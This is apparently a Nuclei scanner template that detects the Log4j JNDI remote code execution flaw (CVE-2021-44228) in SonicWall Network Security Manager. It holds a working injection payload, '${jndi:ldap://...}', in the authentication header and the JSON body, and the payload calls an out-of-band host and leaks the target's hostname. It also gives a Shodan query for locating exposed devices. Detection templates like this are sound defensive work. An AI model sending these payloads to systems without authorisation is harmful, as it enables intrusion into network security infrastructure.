id: sonicwall-nsm-log4j-rce

info:
  name: Sonicwall NSM - Remote Code Execution (Apache Log4j)
  author: shaikhyaser
  severity: critical
  description: |
    Sonicwall NSM is susceptible to Log4j JNDI remote code execution. SonicWall Network Security Manager (NSM) allows you to centrally orchestrate all firewall operations error-free, see and manage threats and risks across your firewall ecosystem from one place, and stay connected and compliant.
  reference:
    - https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2021-0032
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10
    cve-id: CVE-2021-44228
    cwe-id: CWE-77
  metadata:
    shodan-query: title:"SonicWall Network Security"
    max-request: 1
  tags: cve,cve2021,rce,jndi,log4j,sonicwall,oast,kev

variables:
  rand1: '{{rand_int(111, 999)}}'
  rand2: '{{rand_int(111, 999)}}'
  str: "{{rand_base(5)}}"

http:
  - raw:
      - |
        POST /api/sonicos/auth HTTP/1.1
        Host: {{Hostname}}
        X-Snwl-Timer: no-reset
        Authorization: Digest username="${jndi:ldap://${:-{{rand1}}}${:-{{rand2}}}.${hostName}.username.{{interactsh-url}}/}", realm="admin-users@x.x.x.x", uri="/api/sonicos/auth", algorithm=SHA-256
        Content-Type: application/json
        Accept: application/json, text/plain, /
        X-Snwl-Api-Scope: extended
        Origin: {{RootURL}}
        Referer: {{RootURL}}

        {"override":false,"snwl":"${jndi:ldap://${:-{{rand1}}}${:-{{rand2}}}.${hostName}.username.{{interactsh-url}}/{{str}}}"}

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol # Confirms the DNS Interaction
        words:
          - "dns"

      - type: regex
        part: interactsh_request
        regex:
          - '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+' # Print extracted ${:-{{rand1}}}${:-{{rand2}}}.${hostName} in output

    extractors:
      - type: kval
        kval:
          - interactsh_ip # Print remote interaction IP in output

      - type: regex
        group: 2
        regex:
          - '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+' # Print injection point in output
        part: interactsh_request

      - type: regex
        group: 1
        regex:
          - '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+' # Print extracted ${:-{{rand1}}}${:-{{rand2}}}.${hostName} in output
        part: interactsh_request
# digest: 4a0a00473045022100b0050dfce09ac4446dd4b5833eb5fc226ca52a683fc1dc58a9e0a2da8b7ddbb8022042a0fc74fa09237dd3fbf1c6eb88995338691df0d2d023e9e9e08cdd275ddca0:922c64590222798bb761d5b6d8e72950